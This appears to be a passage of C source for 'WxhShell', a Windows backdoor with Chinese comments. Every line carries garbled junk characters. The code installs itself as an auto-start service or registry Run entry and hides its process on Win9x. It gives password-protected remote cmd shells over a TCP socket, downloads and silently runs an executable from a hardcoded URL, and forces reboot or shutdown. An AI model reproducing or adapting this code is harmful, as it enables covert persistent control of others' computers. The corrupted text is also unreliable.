    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); k8}*b&+{vz  
    if(Boot(SHUTDOWN)) i5>]$j1/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0t-!6  
    else { 1%?J l~M  
    closesocket(wsh); ]&')# YO  
    ExitThread(0); lJfn3  
    } q@i,$R  
    break; [HKTXF{n  
    } z]NzLz9VfL  
  // 获取shell nQ0g,'o  
  case 's': { P+m{hn~%  
    CmdShell(wsh); Pw^ lp'dO  
    closesocket(wsh); /5ngPHy&  
    ExitThread(0); ;_.%S*W\  
    break; Sc!{ o!9\  
  } <Ct b^4$  
  // 退出 V Q6&7@ c  
  case 'x': { Q)\~=/L b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .kl _F7  
    CloseIt(wsh); q F \a]e  
    break; &TmN^R>  
    } )F\tU  
  // 离开  [>IAS>  
  case 'q': { TNA?fm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^6*2a(S&  
    closesocket(wsh); D0(%{S^  
    WSACleanup(); 8._ A[{.f  
    exit(1); *CHLs^)   
    break; pg\Ylk"T  
        } <<zYF.9L]  
  } jt?937{  
  } N|n"JKw)  
]UR@V;JG  
  // 提示信息 }1ABrbc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2]Nc@wX`p  
} "v @h  
  } <1H bjR w  
""GeO%J8  
  return; &-Bw7v  
} > .L\>  
jY>BU&  
// shell模块句柄 lKo07s6u  
int CmdShell(SOCKET sock) rkF]Q_'`t;  
{ #{]X<et  
STARTUPINFO si; k_p4 f%9  
ZeroMemory(&si,sizeof(si)); ?0>% a$`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J2\%rb,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; \,<5U F0  
PROCESS_INFORMATION ProcessInfo; K5O8G  
char cmdline[]="cmd"; v(+9&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $F|3VQ~  
  return 0; wb@TYvDt  
} eyq8wQT  
Y#9dVUS  
// 自身启动模式 39jnoT  
int StartFromService(void) 7^}np^[HB  
{ & 5!.!Z3  
typedef struct otQulL)T/  
{ cNi)[2o7  
  DWORD ExitStatus; ZT>?[`Vgc  
  DWORD PebBaseAddress; }P8@\2@=T  
  DWORD AffinityMask; g4(vgWOW`  
  DWORD BasePriority; a}~Xns  
  ULONG UniqueProcessId; ][b_l(r$?  
  ULONG InheritedFromUniqueProcessId; DH(Q md  
}   PROCESS_BASIC_INFORMATION; fA HK<G4  
u{F^Ngy )  
PROCNTQSIP NtQueryInformationProcess; XH_XGzBQS  
7,.Hj&'B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <ob+Ano$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9[<,49  
}}AooziH9  
  HANDLE             hProcess; cVHv>nd#  
  PROCESS_BASIC_INFORMATION pbi; }pP<+U  
739J] M  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Vo@[  
  if(NULL == hInst ) return 0; ~*WSH&ip  
mTG v*=l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o)_;cCr)q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *82f {t]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Ok7i^-85  
>EQd;Af  
  if (!NtQueryInformationProcess) return 0; w Phs1rL  
kHj|:,'sV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $tGk,.#j  
  if(!hProcess) return 0; O gQE1{C  
iHKWz)0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P<AN`un  
8mM^wT  
  CloseHandle(hProcess); c< ke)@  
dW3q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Dps0$f c  
if(hProcess==NULL) return 0; IuJj ;L1  
ZJL[#}*  
HMODULE hMod; Ra\>^W6z  
char procName[255]; %]/O0#E3Kz  
unsigned long cbNeeded; O2[uN@nY  
8$ SA"c)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); *KF-q?PBb  
tx=~bm"*?  
  CloseHandle(hProcess); dpHK~n j\_  
;x.xj/7  
if(strstr(procName,"services")) return 1; // 以服务启动 VGLE5lP X  
y}NBJ  
  return 0; // 注册表启动 `'BvUTDyZ  
} a~b^`ykcWP  
YN Lc )  
// 主模块 $<jI<vD+:  
int StartWxhshell(LPSTR lpCmdLine) ,(0q  
{ Go>_4)jy  
  SOCKET wsl; h#K863  
BOOL val=TRUE; 5f&+(Wqw  
  int port=0; Xj:?V;  
  struct sockaddr_in door; b<UZD yN~  
s'yA^ VPf  
  if(wscfg.ws_autoins) Install(); Y }*[Krw  
^:Vwblv(  
port=atoi(lpCmdLine); \wY? 6#;  
q5il9*)d (  
if(port<=0) port=wscfg.ws_port; D{~mJDUzK  
> <WR]`G  
  WSADATA data; o g.LD7&/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9;3f`DK@2k  
Vw7NLTE}`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !Kv.v7'N/k  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); n,eO6X 4  
  door.sin_family = AF_INET; 0w?\KHT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^J0*]k%   
  door.sin_port = htons(port); a}l^+  
R3;GMe@D#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KL]@y!QU  
closesocket(wsl); "y@B|  
return 1; DJSSc  
} o ~"?K2@T  
b?U!<s.  
  if(listen(wsl,2) == INVALID_SOCKET) { [bH5UTA  
closesocket(wsl); oy90|.]G  
return 1; 0tVZvXgTu  
} (I~-mzu\  
  Wxhshell(wsl); D6!`p6r+  
  WSACleanup(); ;c"T#CH.  
yP\KIm!  
return 0; <F!On5=W*  
(JS1}T  
} ws:@Pe4AF  
T1ZAw'6(K  
// 以NT服务方式启动 \`?l6'!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) DZGM4|@<7Y  
{ `mV&[`NZ  
DWORD   status = 0; (Nd5VuI  
  DWORD   specificError = 0xfffffff; h%MjVuLn  
w4Nm4To  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9(k5Irv"'h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )F;`07  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -7)%J+5  
  serviceStatus.dwWin32ExitCode     = 0; ?<c)r~9]  
  serviceStatus.dwServiceSpecificExitCode = 0; E/@w6uIK[  
  serviceStatus.dwCheckPoint       = 0; HgJ:Rf]  
  serviceStatus.dwWaitHint       = 0; (i4=}Kn2  
l@ vaupg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  }6SfI;  
  if (hServiceStatusHandle==0) return; o|lEF+  
V,?i]q;5  
status = GetLastError(); w[@>k@=  
  if (status!=NO_ERROR) Ld>y Fb(`  
{ GEU:xn  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P]A>"-k  
    serviceStatus.dwCheckPoint       = 0; WT$m*I  
    serviceStatus.dwWaitHint       = 0; rnWU[U8%  
    serviceStatus.dwWin32ExitCode     = status; Gqvnc8V&  
    serviceStatus.dwServiceSpecificExitCode = specificError; $@kGbf~k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus);  ?CKINN  
    return; 7r,'a{Rcn  
  } ;=piJ%k  
x]|8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =qH9<,p`H  
  serviceStatus.dwCheckPoint       = 0; ,Oojh;P_  
  serviceStatus.dwWaitHint       = 0; "TB4w2?=  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BH _y0[y  
} e R"XXF0u  
w8E6)wF=7  
// 处理NT服务事件,比如:启动、停止 `C 'WSr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~_v?M%5i  
{ wW s<{ T  
switch(fdwControl) +!9&E{pmo  
{ iR j/Tm*T'  
case SERVICE_CONTROL_STOP: $ c4Q6w  
  serviceStatus.dwWin32ExitCode = 0; Gxk=]5<7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; w5uOi}T\  
  serviceStatus.dwCheckPoint   = 0; KfpDPwP@  
  serviceStatus.dwWaitHint     = 0; 6kH47Yc?  
  { WbZ{) i  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vaQZ1a,  
  } OH~X~n-Z  
  return; ?d`?Ss;v  
case SERVICE_CONTROL_PAUSE: hYRGIpu5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; lN94 b3_W  
  break; @7 xb/&N  
case SERVICE_CONTROL_CONTINUE: P7r?rbO"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !%b.k6%>w  
  break; Gw3eO&X3i  
case SERVICE_CONTROL_INTERROGATE: "5Oi[w&F5  
  break; `F<)6fk  
}; jG=*\lK6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s6<`#KFAg  
} }5dYmny  
F. X{(8  
// 标准应用程序主函数 }Y\Ayl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #iD5& klo\  
{ F*QZVg+<*X  
/C"dwh"``  
// 获取操作系统版本 +f/G2qY!t  
OsIsNt=GetOsVer(); %0 (,f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^yDCX  
Y; =y-D  
  // 从命令行安装 Omo1p(y  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^SnGcr|a'  
oeKI9p13\  
  // 下载执行文件 De`)`\U  
if(wscfg.ws_downexe) { 3DRbCKNL  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l +RT>jAmK  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7M#2Tze}  
} _U)BOE0o  
!J ")TP=  
if(!OsIsNt) { QUd`({/@:  
// 如果时win9x,隐藏进程并且设置为注册表启动 hEAt4z0P  
HideProc(); un|+YqLf  
StartWxhshell(lpCmdLine); <;\T e4g[  
} v,w/g|  
else ^ sIxR*C[v  
  if(StartFromService()) /NFv?~</k  
  // 以服务方式启动 s6SG%Vd  
  StartServiceCtrlDispatcher(DispatchTable); }R5>ja0  
else @dE|UZ=(  
  // 普通方式启动 yQb^]|XG  
  StartWxhshell(lpCmdLine); bTB/M=M  
2ILMf?}  
return 0; v!(B S,  
} fk-zT  
mmP>Ji  
=N,9#o6^  
v-2_#  
=========================================== =*0<.Lo':  
5D0O.v  
HSHY0  
M@@l>"g@  
>mRA|0$  
l6ayV  
" IB#L5yN r  
bqpy@WiI S  
#include <stdio.h> v^2q\A-?  
#include <string.h> 27q 9zi!Q  
#include <windows.h> A&_H%]{<:  
#include <winsock2.h> & Ji!*~sE  
#include <winsvc.h> e"HA.t[A  
#include <urlmon.h> 9[}L=n  
c!l=09a~a+  
#pragma comment (lib, "Ws2_32.lib") /bm$G"%d  
#pragma comment (lib, "urlmon.lib") $ )q?z.U  
t.|b285e  
#define MAX_USER   100 // 最大客户端连接数 9^ITP!~e*  
#define BUF_SOCK   200 // sock buffer 4'JuK{/ A7  
#define KEY_BUFF   255 // 输入 buffer p^PAbCP'|3  
E0QrByr_  
#define REBOOT     0   // 重启 ?m5@ 63 5  
#define SHUTDOWN   1   // 关机 A?[06R5E#  
%9ef[,WT  
#define DEF_PORT   5000 // 监听端口 k2{*WF  
h^ wu8E   
#define REG_LEN     16   // 注册表键长度 /KD KA)  
#define SVC_LEN     80   // NT服务名长度 $<R\|_6J  
r|2Y|6@  
// 从dll定义API 1fwjW0t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); h:{rjXK  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Wj0=cIb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A/eZnsk  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jG8W|\8  
f5p>oXo4b  
// wxhshell配置信息 :u$nH9kwv  
struct WSCFG { ~)Z{ Yj9)S  
  int ws_port;         // 监听端口 4cC  
  char ws_passstr[REG_LEN]; // 口令 [JI>e;l C:  
  int ws_autoins;       // 安装标记, 1=yes 0=no LLE\;,bv  
  char ws_regname[REG_LEN]; // 注册表键名 GG0l\! 2)  
  char ws_svcname[REG_LEN]; // 服务名 z7B>7}i-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~,j52obR6Z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xZ'-G6O "~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {')L*  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -E, d)O`;$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iZsZSW \  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B",5"'id  
_}8hE v  
}; OU2.d7  
(C{l4  
// default Wxhshell configuration z4 GcS/3K  
struct WSCFG wscfg={DEF_PORT, e5\/:HpI  
    "xuhuanlingzhe", 8%C7!l q  
    1, 9g %1^$R  
    "Wxhshell", PeD>mCvL"  
    "Wxhshell", gumT"x .^  
            "WxhShell Service", NX wthc3  
    "Wrsky Windows CmdShell Service", `" BFvF#  
    "Please Input Your Password: ", QH z3  
  1, j1[Ng #.  
  "http://www.wrsky.com/wxhshell.exe", c~1+5&  
  "Wxhshell.exe" DxuT23. (  
    }; }STTDq4  
=K#5I<x  
// 消息定义模块 S*"uXTS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v)+E!"R3.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q<Tx'Ya  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; EJAk'L+nuH  
char *msg_ws_ext="\n\rExit."; .|XG0M  
char *msg_ws_end="\n\rQuit."; ,|5|aVfh  
char *msg_ws_boot="\n\rReboot..."; %5g(|Y]  
char *msg_ws_poff="\n\rShutdown..."; 2A>s a3\  
char *msg_ws_down="\n\rSave to "; j p"hbV  
4F[4H\>'  
char *msg_ws_err="\n\rErr!"; "2l$}G  
char *msg_ws_ok="\n\rOK!"; $<NrJgQ  
hQWo ]WF(J  
char ExeFile[MAX_PATH]; o]R*6$  
int nUser = 0; oz.#+t%X$b  
HANDLE handles[MAX_USER]; /)+V(Jlu  
int OsIsNt; e\8|6< o[  
e4h9rF{Cxn  
SERVICE_STATUS       serviceStatus; nYFM^56>_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -eE r|Gs)  
Z]~) ->=}  
// 函数声明 `;~A  
int Install(void); Zk:Kux[7  
int Uninstall(void); T]_]{%z  
int DownloadFile(char *sURL, SOCKET wsh); Uf}u`"$F  
int Boot(int flag); <%Al(Lm0  
void HideProc(void); E|,RM;7  
int GetOsVer(void); 634OH*6  
int Wxhshell(SOCKET wsl); C0K0c6A (4  
void TalkWithClient(void *cs);  `1`Qu!  
int CmdShell(SOCKET sock); iNCT(N~.  
int StartFromService(void); 7 :C_{\(  
int StartWxhshell(LPSTR lpCmdLine); $-i(xnU/nl  
m7#v2:OD+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zJ*(G_H  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P Dgd'y  
% lK/2-  
// 数据结构和表定义 UdOO+Z_K%  
SERVICE_TABLE_ENTRY DispatchTable[] = H`bS::JI-  
{ M!Ua/g=u  
{wscfg.ws_svcname, NTServiceMain}, XN&cM,   
{NULL, NULL} xNd p]u  
}; (Q?@LzCjy  
]x(cX&S-9  
// 自我安装 FP<mFqy  
int Install(void) -=W Qed}  
{ jwL\|B oE  
  char svExeFile[MAX_PATH]; *S<d`mp[  
  HKEY key; ucYweXsO3  
  strcpy(svExeFile,ExeFile); r"|UgCc  
C=Tq/L w  
// 如果是win9x系统,修改注册表设为自启动 at+Nd K  
if(!OsIsNt) { ) ^`V{iD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2,6~;R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AM0CIRX$  
  RegCloseKey(key); 9Ca }+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X#>:9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LzQOzl@z  
  RegCloseKey(key); ]++,7Z\AU  
  return 0; 8#nAs\^  
    } K!,9qH  
  } Alk+MwjR  
} 7 <ZGNxZ~  
else { pkf$%{"e  
%Jji<M]  
// 如果是NT以上系统,安装为系统服务 y8ODoXk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); qjsEyro$-  
if (schSCManager!=0) dsn(h5,Q'  
{ TbD $lx3>  
  SC_HANDLE schService = CreateService T#\=v(_NR  
  ( PJO.^OsM  
  schSCManager, 7_R[ =t  
  wscfg.ws_svcname, ^WrL   
  wscfg.ws_svcdisp, *P/DDRq(2  
  SERVICE_ALL_ACCESS, +G6 Ge;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , B7wzF"  
  SERVICE_AUTO_START, Ga_Pt8L6  
  SERVICE_ERROR_NORMAL, G{!(2D4!  
  svExeFile, x];i? 4  
  NULL, h[;DRD!Z  
  NULL, Rk-G| 52g  
  NULL, TBIr^n>Z<k  
  NULL, v|KGzQx$.*  
  NULL nsM. `s@V  
  ); I Z|EPzS  
  if (schService!=0) 8!b>[Nsc  
  { RBfzti6  
  CloseServiceHandle(schService); /BN=Kl]  
  CloseServiceHandle(schSCManager); J/QqwoR  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rp4{lHw>C/  
  strcat(svExeFile,wscfg.ws_svcname); :r2d%:h%2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { C[';B)a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [ahwJF#r  
  RegCloseKey(key); = c1>ja  
  return 0; +s6v!({Z  
    } O)ose?Z  
  } 4:Oq(e_(  
  CloseServiceHandle(schSCManager); oWx^_wQ-=  
} f1S% p  
} }(!rB#bf  
;<*USS6X  
return 1; E`.:V<KW/  
} cE>m/^SKr  
}ik N  
// 自我卸载 dq%C~j{v  
int Uninstall(void) \=P(?!v  
{ G^cMY$?99  
  HKEY key; mHAfKB  
RUq[HxF) 6  
if(!OsIsNt) { 0_AIKJrL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3}8L!2_p  
  RegDeleteValue(key,wscfg.ws_regname); 0>46ZzxUZ  
  RegCloseKey(key); ZNl1e'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c[V.j+Iy#^  
  RegDeleteValue(key,wscfg.ws_regname); :0ltq><?  
  RegCloseKey(key); 8_ascvs5  
  return 0; >j7]gi(  
  } 7SN61)[m  
} Q"uK6ANp'  
} p5py3k  
else { tSnsjd<6.  
db=S*LUbl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]NtBP  
if (schSCManager!=0) a#G3dY>  
{ e2BC2K0  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }#; .b'`  
  if (schService!=0) *>`6{0, 9  
  { 2ga8 G4dU  
  if(DeleteService(schService)!=0) { Qg]A^{.1  
  CloseServiceHandle(schService); "'GhE+>Z  
  CloseServiceHandle(schSCManager); AC 2kG  
  return 0; >)u{%@Rcy{  
  } I<XYLe[_S  
  CloseServiceHandle(schService); yTn<5T[H  
  } FC~%G&K/q^  
  CloseServiceHandle(schSCManager); CW/<?X<!n  
} FA;-D5=  
} )FmIL(vu  
_~D#?cFY6  
return 1; hSXJDT2  
} i~AReJxt7  
.)Pul|)d  
// 从指定url下载文件 nz'6^D7`r  
int DownloadFile(char *sURL, SOCKET wsh) ASrRMH[  
{ W'f"kM  
  HRESULT hr; }~NXiUe  
char seps[]= "/"; Rjlp<  
char *token; )n 1[#x^I  
char *file; 7-Oa34ba+  
char myURL[MAX_PATH]; _ WPt zL  
char myFILE[MAX_PATH]; ( ;^>G[  
lN8l71N^  
strcpy(myURL,sURL); >p0,]-.J,r  
  token=strtok(myURL,seps); $+ N~Fa  
  while(token!=NULL) :<k (y?GB  
  {  UBj&T^j  
    file=token; ggitUQ+t;G  
  token=strtok(NULL,seps); Q$ Dx:  
  } hW/Ve'x[  
V82I%gPF  
GetCurrentDirectory(MAX_PATH,myFILE); = &?&}pVF  
strcat(myFILE, "\\"); $$W2{vr7+  
strcat(myFILE, file); l 9g  
  send(wsh,myFILE,strlen(myFILE),0); I"x~ 7  
send(wsh,"...",3,0); EY3F9h3xM|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); } XhL`%  
  if(hr==S_OK) >SL mlK  
return 0; z$}9f*W}B  
else *)`PY4zF  
return 1; MP<]-M'|<  
nCp_RJu  
} Iz j-,a  
k~K;r8D/  
// 系统电源模块 ^);M}~  
int Boot(int flag) #gT"G18/!  
{ FE^/us7r  
  HANDLE hToken; :8@eon}  
  TOKEN_PRIVILEGES tkp; +kEM%z  
]jn1T^D'  
  if(OsIsNt) { ceD6q~)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  bKK'U4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); x{zZ%_F  
    tkp.PrivilegeCount = 1; dT% eq7=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O"EL3$9V  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @>.aQE  
if(flag==REBOOT) { 2#3`[+g<n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1cMLl6Bp>  
  return 0; Lk@+iHf  
} F E{c{G<  
else { ^ <`SUBI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) m.`I}  
  return 0; mAGD qz>f  
} p-)@#hE  
  } u0sN[<  
  else { y7CO%SA  
if(flag==REBOOT) { 2|i1}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +/eJ#Xw3u8  
  return 0; W94u7a  
} V9}\0joM  
else { =uNc\a(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <ta{)}IN^  
  return 0; mwsBj)  
} Lb<IEy77\  
} s_RK x)w@  
GHn0(o&K  
return 1; E3[9!L8gb  
} ?u:mscb  
Qjnh;uBO  
// win9x进程隐藏模块 bpU> (j  
void HideProc(void) ~vA8I#.  
{ He4HI Z  
y( 22m+B  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0F![<5X  
  if ( hKernel != NULL ) 517wduj  
  { /ar0K9`c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Cg~1<J?2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sq(5k+y*J  
    FreeLibrary(hKernel); B6TE9IoSb8  
  } ||TZ[l  
I~YV&12  
return; M=ag\1S&ZF  
} cpw=2vnD  
a'Odw2Q_  
// 获取操作系统版本 "fhQ{b$i  
int GetOsVer(void) 8rlf9m  
{ 6LCR ;~ ]  
  OSVERSIONINFO winfo; mS;WNlm\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X 5}=|%Y  
  GetVersionEx(&winfo); aJjUy%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) -EFdP]XO  
  return 1; 3]lq#p:  
  else f_LXp$n  
  return 0; sKKc_H3YSH  
} ZnAQO3%y  
]3='TN8aQF  
// 客户端句柄模块 <P0 P*>M  
int Wxhshell(SOCKET wsl) g{sp<w0  
{ !T:7xEr  
  SOCKET wsh; >7cj. %  
  struct sockaddr_in client; ]}l.*v\uK  
  DWORD myID; T]1.":   
XY9%aT*  
  while(nUser<MAX_USER) ZlE=P4`X:  
{ \nuz l   
  int nSize=sizeof(client); %`$:/3P$U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); |T"j7  
  if(wsh==INVALID_SOCKET) return 1; 83_mR*tGNp  
KVEc:<|x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); TC'SDDX  
if(handles[nUser]==0) c2 :,  
  closesocket(wsh); }W!w  
else [N%InsA9k  
  nUser++; Kx,X{$Pe  
  } '-I\G6w9  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vR5X  
=HIKn6C<  
  return 0; #hs&)6S f  
} 5%V(eR  
EW4a@  
// 关闭 socket Ge?DD,a c  
void CloseIt(SOCKET wsh) U Rq9:{  
{ e?07o!7[;  
closesocket(wsh); Zm++5b`W/[  
nUser--; ']c;$wP  
ExitThread(0); n!X%i+|4x  
} E#tfCM6  
5S&Qj7kr  
// 客户端请求句柄 .}+3A~  
void TalkWithClient(void *cs) ?aBAmyxm  
{ UL&>]aQ  
zp'hA  
  SOCKET wsh=(SOCKET)cs; q%f90  
  char pwd[SVC_LEN]; 1g,gilc  
  char cmd[KEY_BUFF]; |FlB#  
char chr[1]; 6MU;9|&  
int i,j; @raJB'  
Rw[!Jq  
  while (nUser < MAX_USER) {  >}]bKq  
{IBbN05 ;  
if(wscfg.ws_passstr) { eej#14 &  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SLNOOEN  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g%m-*v*  
  //ZeroMemory(pwd,KEY_BUFF); eDNY|}$}v  
      i=0; K~^o06 Y  
  while(i<SVC_LEN) { 0N4ZV}s,d  
g?}h*~<b  
  // 设置超时 Vz!{nL0Q(  
  fd_set FdRead; 9T`YHA'g  
  struct timeval TimeOut; :c )R6=v  
  FD_ZERO(&FdRead); UN;U+5,t  
  FD_SET(wsh,&FdRead); U%VFr#  
  TimeOut.tv_sec=8; xZV|QVY;  
  TimeOut.tv_usec=0; a #p`l>rx  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l#+@!2z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4{6,Sx  
!>K=@9NC|.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?h#F& y  
  pwd=chr[0]; ~:_10g]r  
  if(chr[0]==0xd || chr[0]==0xa) { #q&N d2y  
  pwd=0; <FZ*'F*M  
  break; s6 K~I  
  } q_>=| b  
  i++; 1O)m(0tb[  
    } 2U+Fa t@  
7eZwpg?K  
  // 如果是非法用户,关闭 socket -&v0JvTJ9j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =3 ;! 5P  
} C'sA0O@O  
4}YHg&@\d%  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;1TQr3w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Di$++T8"  
4QNwu7TeR  
while(1) { d,j)JnY3V  
poi39B/Vt  
  ZeroMemory(cmd,KEY_BUFF); YQO9$g0% ~  
 .^rs VNG  
      // 自动支持客户端 telnet标准   6gq`V,  
  j=0; UM+g8J{$*;  
  while(j<KEY_BUFF) { x.(Sv]+[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }:b) =fs  
  cmd[j]=chr[0]; :pP l|"  
  if(chr[0]==0xa || chr[0]==0xd) { #'y^@90R  
  cmd[j]=0; ?U~`'^@  
  break; ?V)M!  
  } {E1^Wn1M  
  j++; 7zXX& S  
    } ~llw_ w  
ITU6Eq  
  // 下载文件 P[Id[}5Pw  
  if(strstr(cmd,"http://")) { N#X(gEV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); re@OPiXa v  
  if(DownloadFile(cmd,wsh)) +C=^,B!,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CX>QP&Gj  
  else P;p20+  
